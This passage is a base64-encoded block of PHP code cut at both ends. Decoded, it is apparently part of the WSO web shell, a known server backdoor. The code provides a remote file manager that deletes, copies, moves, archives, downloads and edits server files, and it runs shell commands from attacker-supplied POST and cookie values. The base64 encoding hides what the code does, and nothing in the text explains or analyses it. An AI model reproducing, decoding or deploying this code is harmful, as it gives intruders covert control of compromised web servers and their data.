CAgICAkaXRlbSA9ICRwYXRoLiRpdGVtOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoIChiYXNlbmFtZSgkaXRlbSkgPT0gIi4uIikgfHwgKGJhc2VuYW1lKCRpdGVtKSA9PSAiLiIpICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBmaWxldHlwZSgkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkdHlwZSA9PSAiZGlyIikKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBkZWxldGVEaXIoJGl0ZW0pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHVubGluaygkaXRlbSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjbG9zZWRpcigkZGgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHJtZGlyKCRwYXRoKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfYXJyYXkoQCRfUE9TVFsnZiddKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9QT1NUWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGYgPT0gJy4uJykKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZiA9IHVybGRlY29kZSgkZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkZikpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZGVsZXRlRGlyKCRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWxzZQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGYpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgICAgICAgICBjYXNlICdwYXN0ZSc6CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJF9DT09LSUVbJ2FjdCddID09ICdjb3B5JykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZnVuY3Rpb24gY29weV9wYXN0ZSgkYywkcywkZCl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGlzX2RpcigkYy4kcykpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIG1rZGlyKCRkLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaCA9IEBvcGVuZGlyKCRjLiRzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoKCRmID0gQHJlYWRkaXIoJGgpKSAhPT0gZmFsc2UpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoKCRmICE9ICIuIikgYW5kICgkZiAhPSAiLi4iKSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgY29weV9wYXN0ZSgkYy4kcy4nLycsJGYsICRkLiRzLicvJyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKGlzX2ZpbGUoJGMuJHMpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvcHlfcGFzdGUoJF9DT09LSUVbJ2MnXSwkZiwgJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ21vdmUnKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBtb3ZlX3Bhc3RlKCRjLCRzLCRkKXsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoaXNfZGlyKCRjLiRzKSl7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgbWtkaXIoJGQuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRoID0gQG9wZW5kaXIoJGMuJHMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlICgoJGYgPSBAcmVhZGRpcigkaCkpICE9PSBmYWxzZSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgoJGYgIT0gIi4iKSBhbmQgKCRmICE9ICIuLiIpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBjb3B5X3Bhc3RlKCRjLiRzLicvJywkZiwgJGQuJHMuJy8nKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoQGlzX2ZpbGUoJGMuJHMpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEBjb3B5KCRjLiRzLCAkZC4kcyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEByZW5hbWUoJF9DT09LSUVbJ2MnXS4kZiwgJEdMT0JBTFNbJ2N3ZCddLiRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2VpZigkX0NPT0tJRVsnYWN0J10gPT0gJ3ppcCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoJHppcC0+b3BlbigkX1BPU1RbJ3AyJ10sIDEpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBjaGRpcigkX0NPT0tJRVsnYyddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJF9DT09LSUVbJ2YnXSBhcyAkZikgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmID09ICcuLicpCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKEBpc19maWxlKCRfQ09PS0lFWydjJ10uJGYpKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5hZGRGaWxlKCRfQ09PS0lFWydjJ10uJGYsICRmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlbHNlaWYoQGlzX2RpcigkX0NPT0tJRVsnYyddLiRmKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaXRlcmF0b3IgPSBuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcihuZXcgUmVjdXJzaXZlRGlyZWN0b3J5SXRlcmF0b3IoJGYuJy8nKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRpdGVyYXRvciBhcyAka2V5PT4kdmFsdWUpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmFkZEZpbGUocmVhbHBhdGgoJGtleSksICRrZXkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgY2hkaXIoJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICR6aXAtPmNsb3NlKCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlaWYoJF9DT09LSUVbJ2FjdCddID09ICd1bnppcCcpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKGNsYXNzX2V4aXN0cygnWmlwQXJjaGl2ZScpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICR6aXAgPSBuZXcgWmlwQXJjaGl2ZSgpOwogICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoKCRfQ09PS0lFWydmJ10gYXMgJGYpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCR6aXAtPm9wZW4oJF9DT09LSUVbJ2MnXS4kZikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5leHRyYWN0VG8oJEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkemlwLT5jbG9zZSgpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZWlmKCRfQ09PS0lFWydhY3QnXSA9PSAndGFyJykgewogICAgICAgICAgICAgICAgICAgIGNoZGlyKCRfQ09PS0lFWydjJ10pOwogICAgICAgICAgICAgICAgICAgICRfQ09PS0lFWydmJ10gPSBhcnJheV9tYXAoJ2VzY2FwZXNoZWxsYXJnJywgJF9DT09LSUVbJ2YnXSk7CiAgICAgICAgICAgICAgICAgICAgd3NvRXgoJ3RhciBjZnp2ICcgLiBlc2NhcGVzaGVsbGFyZygkX1BPU1RbJ3AyJ10pIC4gJyAnIC4gaW1wbG9kZSgnICcsICRfQ09PS0lFWydmJ10pKTsKICAgICAgICAgICAgICAgICAgICBjaGRpcigkR0xPQkFMU1snY3dkJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB1bnNldCgkX0NPT0tJRVsnZiddKTsKICAgICAgICAgICAgICAgIHNldGNvb2tpZSgnZicsICcnLCB0aW1lKCkgLSAzNjAwKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXU09zZXRjb29raWUoJ2FjdCcsICRfUE9TVFsncDEnXSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXU09zZXRjb29raWUoJ2YnLCBzZXJpYWxpemUoQCRfUE9TVFsnZiddKSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBXU09zZXRjb29raWUoJ2MnLCBAJF9QT1NUWydjJ10pOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB3c29IZWFkZXIoKTsKICAgICAgICBlY2hvICc8aDE+RmlsZSBtYW5hZ2VyPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+PHNjcmlwdD5wMV89cDJfPXAzXz0iIjs8L3NjcmlwdD4nOwogICAgICAgICRkaXJDb250ZW50ID0gd3NvU2NhbmRpcihpc3NldCgkX1BPU1RbJ2MnXSk/JF9QT1NUWydjJ106JEdMT0JBTFNbJ2N3ZCddKTsKICAgICAgICBpZigkZGlyQ29udGVudCA9PT0gZmFsc2UpIHsgICAgIGVjaG8gJ0NhblwndCBvcGVuIHRoaXMgZm9sZGVyISc7d3NvRm9vdGVyKCk7IHJldHVybjsgfQogICAgICAgIGdsb2JhbCAkc29ydDsKICAgICAgICAkc29ydCA9IGFycmF5KCduYW1lJywgMSk7CiAgICAgICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgIGlmKHByZWdfbWF0Y2goJyFzXyhbQS16XSspXyhcZHsxfSkhJywgJF9QT1NUWydwMSddLCAkbWF0Y2gpKQogICAgICAgICAgICAgICAgICAgICAgICAkc29ydCA9IGFycmF5KCRtYXRjaFsxXSwgKGludCkkbWF0Y2hbMl0pOwogICAgICAgIH0KZWNobyAiPHNjcmlwdD4KICAgICAgICBmdW5jdGlvbiBzYSgpIHsKICAgICAgICAgICAgICAgIGZvcihpPTA7aTxkLmZpbGVzLmVsZW1lbnRzLmxlbmd0aDtpKyspCiAgICAgICAgICAgICAgICAgICAgICAgIGlmKGQuZmlsZXMuZWxlbWVudHNbaV0udHlwZSA9PSAnY2hlY2tib3gnKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGQuZmlsZXMuZWxlbWVudHNbaV0uY2hl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ICAgICRnciA9IEBwb3NpeF9nZXRncmdpZChAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkpOwogICAgICAgICAgICAgICAgJHRtcCA9IGFycmF5KCduYW1lJyA9PiAkZGlyQ29udGVudFskaV0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3BhdGgnID0+ICRHTE9CQUxTWydjd2QnXS4kZGlyQ29udGVudFskaV0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ21vZGlmeScgPT4gZGF0ZSgnWS1tLWQgSDppOnMnLCBAZmlsZW10aW1lKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkpLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdwZXJtcycgPT4gd3NvUGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdzaXplJyA9PiBAZmlsZXNpemUoJEdMT0JBTFNbJ2N3ZCddLiRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ293bmVyJyA9PiAkb3dbJ25hbWUnXT8kb3dbJ25hbWUnXTpAZmlsZW93bmVyKCRkaXJDb250ZW50WyRpXSksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ2dyb3VwJyA9PiAkZ3JbJ25hbWUnXT8kZ3JbJ25hbWUnXTpAZmlsZWdyb3VwKCRkaXJDb250ZW50WyRpXSkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICBpZihAaXNfZmlsZSgkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQogICAgICAgICAgICAgICAgICAgICAgICAkZmlsZXNbXSA9IGFycmF5X21lcmdlKCR0bXAsIGFycmF5KCd0eXBlJyA9PiAnZmlsZScpKTsKICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfbGluaygkR0xPQkFMU1snY3dkJ10gLiAkZGlyQ29udGVudFskaV0pKQogICAgICAgICAgICAgICAgICAgICAgICAkZGlyc1tdID0gYXJyYXlfbWVyZ2UoJHRtcCwgYXJyYXkoJ3R5cGUnID0+ICdsaW5rJywgJ2xpbmsnID0+IHJlYWRsaW5rKCR0bXBbJ3BhdGgnXSkpKTsKICAgICAgICAgICAgICAgIGVsc2VpZihAaXNfZGlyKCRHTE9CQUxTWydjd2QnXSAuICRkaXJDb250ZW50WyRpXSkmJiAoJGRpckNvbnRlbnRbJGldICE9ICIuIikpCiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJzW10gPSBhcnJheV9tZXJnZSgkdG1wLCBhcnJheSgndHlwZScgPT4gJ2RpcicpKTsKICAgICAgICB9CiAgICAgICAgJEdMT0JBTFNbJ3NvcnQnXSA9ICRzb3J0OwogICAgICAgIGZ1bmN0aW9uIHdzb0NtcCgkYSwgJGIpIHsKICAgICAgICAgICAgICAgIGlmKCRHTE9CQUxTWydzb3J0J11bMF0gIT0gJ3NpemUnKQogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gc3RyY21wKHN0cnRvbG93ZXIoJGFbJEdMT0JBTFNbJ3NvcnQnXVswXV0pLCBzdHJ0b2xvd2VyKCRiWyRHTE9CQUxTWydzb3J0J11bMF1dKSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CiAgICAgICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiAoKCRhWydzaXplJ10gPCAkYlsnc2l6ZSddKSA/IC0xIDogMSkqKCRHTE9CQUxTWydzb3J0J11bMV0/MTotMSk7CiAgICAgICAgfQogICAgICAgIHVzb3J0KCRmaWxlcywgIndzb0NtcCIpOwogICAgICAgIHVzb3J0KCRkaXJzLCAid3NvQ21wIik7CiAgICAgICAgJGZpbGVzID0gYXJyY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AgICAgICAnRnVsbCB1cmxlbmNvZGUnID0+ICdmdWxsX3VybGVuY29kZScsCiAgICAgICAgICAgICAgICAnbWQ1IGhhc2gnID0+ICdtZDUnLAogICAgICAgICAgICAgICAgJ3NoYTEgaGFzaCcgPT4gJ3NoYTEnLAogICAgICAgICAgICAgICAgJ2NyeXB0JyA9PiAnY3J5cHQnLAogICAgICAgICAgICAgICAgJ0NSQzMyJyA9PiAnY3JjMzInLAogICAgICAgICAgICAgICAgJ0FTQ0lJIHRvIEhFWCcgPT4gJ2FzY2lpMmhleCcsCiAgICAgICAgICAgICAgICAnSEVYIHRvIEFTQ0lJJyA9PiAnaGV4MmFzY2lpJywKICAgICAgICAgICAgICAgICdIRVggdG8gREVDJyA9PiAnaGV4ZGVjJywKICAgICAgICAgICAgICAgICdIRVggdG8gQklOJyA9PiAnaGV4MmJpbicsCiAgICAgICAgICAgICAgICAnREVDIHRvIEhFWCcgPT4gJ2RlY2hleCcsCiAgICAgICAgICAgICAgICAnREVDIHRvIEJJTicgPT4gJ2RlY2JpbicsCiAgICAgICAgICAgICAgICAnQklOIHRvIEhFWCcgPT4gJ2JpbmhleCcsCiAgICAgICAgICAgICAgICAnQklOIHRvIERFQycgPT4gJ2JpbmRlYycsCiAgICAgICAgICAgICAgICAnU3RyaW5nIHRvIGxvd2VyIGNhc2UnID0+ICdzdHJ0b2xvd2VyJywKICAgICAgICAgICAgICAgICdTdHJpbmcgdG8gdXBwZXIgY2FzZScgPT4gJ3N0cnRvdXBwZXInLAogICAgICAgICAgICAgICAgJ0h0bWxzcGVjaWFsY2hhcnMnID0+ICdodG1sc3BlY2lhbGNoYXJzJywKICAgICAgICAgICAgICAgICdTdHJpbmcgbGVuZ3RoJyA9PiAnc3RybGVuJywKICAgICAgICApOwogICAgICAgIGlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgewogICAgICAgICAgICAgICAgV1NPc2V0Y29va2llKG1kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J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F0aHMgPSBAYXJyYXlfdW5pcXVlKEBhcnJheV9tZXJnZShAZ2xvYigkcGF0aC4kX1BPU1RbJ3AzJ10pLCBAZ2xvYigkcGF0aC4nKicsIEdMT0JfT05MWURJUikpKTsKICAgICAgICAgICAgICAgIGlmKGlzX2FycmF5KCRwYXRocykmJkBjb3VudCgkcGF0aHMpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJHBhdGhzIGFzICRpdGVtKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoQGlzX2RpcigkaXRlbSkpewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHBhdGghPSRpdGVtKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3c29SZWN1cnNpdmVHbG9iKCRpdGVtKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoZW1wdHkoJF9QT1NUWydwMiddKSB8fCBAc3RycG9zKGZpbGVfZ2V0X2NvbnRlbnRzKCRpdGVtKSwgJF9QT1NUWydwMiddKSE9PWZhbHNlKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICI8YSBocmVmPScjJyBvbmNsaWNrPSdnKFwiRmlsZXNUb29sc1wiLG51bGwsXCIiLnVybGVuY29kZSgkaXRlbSkuIlwiLCBcInZpZXdcIixcIlwiKSc+Ii5odG1sc3BlY2lhbGNoYXJzKCRpdGVtKS4iPC9hPjxicj4iOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICBpZihAJF9QT1NUWydwMyddKQogICAgICAgICAgICAgICAgd3NvUmVjdXJzaXZlR2xvYigkX1BPU1RbJ2MnXSk7CiAgICAgICAgZ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N0aW9uRmlsZXNUb29scygpIHsKICAgICAgICBpZiggaXNzZXQoJF9QT1NUWydwMSddKSApCiAgICAgICAgICAgICAgICAkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsKICAgICAgICBpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7CiAgICAgICAgICAgICAgICBpZihAaXNfZmlsZSgkX1BPU1RbJ3AxJ10pICYmIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIG9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsKICAgICAgICAgICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFtZT0iLmJhc2VuYW1lKCRfUE9TVFsncDEnXSkpOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJtaW1lX2NvbnRlbnRfdHlwZSIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUgPSBAbWltZV9jb250ZW50X3R5cGUoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogIiAuICR0eXBlKTsKICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICBoZWFkZXIoIkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24vb2N0ZXQtc3RyZWFtIik7CiAgICAgICAgICAgICAgICAgICAgICAgICRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICJyIik7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmKCRmcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHdoaWxlKCFAZmVvZigkZnApKQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBAZnJlYWQoJGZwLCAxMDI0KTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmY2xvc2UoJGZwKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfWV4aXQ7CiAgICAgICAgfQogICAgICAgIGlmKCBAJF9QT1NUWydwMiddID09ICdta2ZpbGUnICkgewogICAgICAgICAgICAgICAgaWYoIWZpbGVfZXhpc3RzKCRfUE9TVFsncDEnXSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3cnKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMiddID0gImVkaXQiOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHdzb0hlYWRlcigpOwogICAgICAgIGVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsKICAgICAgICBpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgewogICAgICAgICAgICAgICAgZWNobyAnRmlsZSBub3QgZXhpc3RzJzsKICAgICAgICAgICAgICAgIHdzb0Zvb3RlcigpOwogICAgICAgICAgICAgICAgcmV0dXJuOwogICAgICAgIH0KICAgICAgICAkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7CiAgICAgICAgaWYoISR1aWQpIHsKICAgICAgICAgICAgICAgICR1aWRbJ25hbWUnXSA9IEBmaWxlb3duZXIoJF9QT1NUWydwMSddKTsKICAgICAgICAgICAgICAgICRnaWRbJ25hbWUnXSA9IEBmaWxlZ3JvdXAoJF9QT1NUWydwMSddKTsKICAgICAgICB9IGVsc2UgJGdpZCA9IE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gICAgICAgICAgICAgJG0gPSBhcnJheSgnQ2htb2QnLCAnUmVuYW1lJywgJ1RvdWNoJyk7CiAgICAgICAgZm9yZWFjaCgkbSBhcyAkdikKICAgICAgICAgICAgICAgIGVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxcJycgLiB1cmxlbmNvZGUoJF9QT1NUWydwMSddKSAuICdcJyxcJycuc3RydG9sb3dlcigkdikuJ1wnKSI+Jy4oKHN0cnRvbG93ZXIoJHYpPT1AJF9QT1NUWydwMiddKT8nPGI+WyAnLiR2LicgXTwvYj4nOiR2KS4nPC9hPiAnOwogICAgICAgIGVjaG8gJzxicj48YnI+JzsKICAgICAgICBzd2l0Y2goJF9QT1NUWydwMiddKSB7CiAgICAgICAgICAgICAgICBjYXNlICd2aWV3JzoKICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHByZSBjbGFzcz1tbDE+JzsKICAgICAgICAgICAgICAgICAgICAgICAgJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsKICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGZwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgd2hpbGUoICFAZmVvZigkZnApICkKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkZnApOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvcHJlPic7CiAgICAgICAgICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICAgICAgY2FzZSAnaGlnaGxpZ2h0JzoKICAgICAgICAgICAgICAgICAgICAgICAgaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkY29kZSA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPG